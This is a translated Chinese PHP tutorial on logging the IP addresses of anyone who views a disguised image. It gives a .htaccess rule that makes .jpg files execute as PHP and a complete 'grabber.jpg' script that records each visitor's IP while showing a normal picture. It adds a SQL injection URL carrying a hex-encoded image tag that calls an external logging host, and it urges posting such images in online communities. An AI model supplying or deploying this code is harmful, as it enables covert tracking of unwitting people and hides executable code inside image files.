HomeBackend DevelopmentPHP Tutorial通过一张照片来获取ip地址

今天早上起床之后,我看到一篇关于“使用sql注入语句获取ip地址”的文章,对此我很感兴趣,就仔细阅读了一下,在读完这篇文章之后,我有了一个新的想法:通过对htaccess的利用,实现用一张照片获取他人的ip地址

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

$fh = fopen(‘ip_list.txt’, ‘a’);

fwrite($fh, $_SERVER[‘REMOTE_ADDR’].”

“);

fclose($fh);

$im = imagecreatefromjpeg(“n00b.png”);

header(‘Content-Type: image/jpeg’);

imagejpeg($im);

imagedestroy($im);

?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

谢谢您的阅读,Happy Hacking!
